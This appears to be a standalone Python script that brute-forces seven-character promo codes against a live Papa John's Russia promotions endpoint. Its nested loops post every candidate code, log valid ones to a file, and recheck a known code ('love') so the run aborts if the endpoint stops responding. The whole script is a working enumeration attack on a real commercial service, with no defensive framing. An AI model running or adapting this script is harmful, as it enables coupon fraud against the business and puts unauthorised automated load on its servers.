import requests
import string
import json


LETTERS = 'abcdefghijklmnopqrstuvwxyz1234567890'
MARKER = 'love'


def normalize(s):
    """
    Remove unprintable characters from string
    :param s: String to normalize
    :return:
    """

    my_own_list = set([ord(x) for x in string.printable])
    result = ""
    for p in s:
        if p in my_own_list:
            result += chr(p)
    return result


def check_key(key):

    """
    Update data in DB
    :return:
    """

    URL = 'https://dolgoprudniy.papajohns.ru/stock/stock/getbycode/'
    # Скачиваем страницу
    html = ""
    headers = {'X-Requested-With': 'XMLHttpRequest'}
    response = requests.post(URL + key, allow_redirects=False, headers=headers)
    res = json.loads(response.text)
    return res['stock']


def brute():
    with open('result.txt', 'w') as file:
        for a in LETTERS:
            for b in LETTERS:
                if a != b:
                    for c in LETTERS:
                        if b != c:
                            for d in LETTERS:
                                if c != d:
                                    for e in LETTERS:
                                        if d != e:
                                            if not check_key(MARKER):
                                                print("!!! ***TEST NOT PASSED. ABORTING*** !!!")
                                                file.write("!!! ***TEST NOT PASSED. ABORTING*** !!!")
                                                return
                                            for f in LETTERS:
                                                if e != f:
                                                    for g in LETTERS:
                                                        if f != g:
                                                            if check_key(a+b+c+d+e+f+g):
                                                                print("Valid: " + a+b+c+d+e+f+g)
                                                                file.write(a+b+c+d+e+f+g)
                                                            else:
                                                                print("Invalid: " + a+b+c+d+e+f+g)


if __name__ == '__main__':
    brute()